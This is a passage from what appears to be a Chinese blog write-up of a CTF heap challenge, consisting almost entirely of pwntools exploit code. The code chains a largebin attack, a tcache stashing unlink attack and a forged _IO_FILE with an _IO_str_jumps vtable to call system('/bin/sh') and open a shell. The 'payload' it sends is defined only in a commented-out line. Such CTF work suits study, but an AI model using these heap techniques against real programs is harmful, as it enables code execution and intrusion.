edit(8,p64(0)+p64(io_list_all-0x20)+b'\n')#伪造largebin指针

change_role(3)#2 role3
add(0xa0,b'g'*0x40,flag=1)#largebin_attack 同理
change_role(2)
edit(8,p64(heap_base+0x13E80)*2+b'\n')#恢复指针
#========tcache stashing unlink attack and file attack========
change_role(1)
edit(8,b'a'*0x50+p64(heap_base+0x12280)+p64(free_hook-0x20)+b'\n')#修改smallbin的bk指针,将fake_chunk放入tcache之中

change_role(3)
add(0x440,(b'\x00'*0x18+(p64(heap_base+0x147c0))).ljust(0x160,b'\x00'),flag=1)#3 role3 申请largebin并写入_chain值
add(0x90)#5 role3 连续性写入fake_io_file 并造成tcache stashing unlink attack

fake_io_file = flat({
    0x10: 1 ,#_IO_write_base
    0x18: 0xffffffffffffffff ,#_IO_write_ptr
    0x20: 0 ,#_IO_write_end
    0x28: heap_base+0x148a0 ,#_IO_buf_base
    0x30: heap_base+0x148b8 ,#_IO_buf_end
    0xb0: 0 ,#_mode
    0xc8: libc_base+0x1E9560#libc.sym['_IO_str_jumps']#vtable
},filler=b'\x00')
#payload = fake_io_file+b'/bin/sh\x00'+p64(system_addr)*2
r.send(payload)
success("libc_base -> "+hex(libc_base))
success("heap_base -> "+hex(heap_base))
#pwndbg()
r.sendlineafter("Choice: ",'5')
r.sendlineafter("user:\n",b'')

r.interactive()
posted @ 2022-08-09 11:02  望权栈  阅读(33)  评论(0编辑  收藏  举报  来源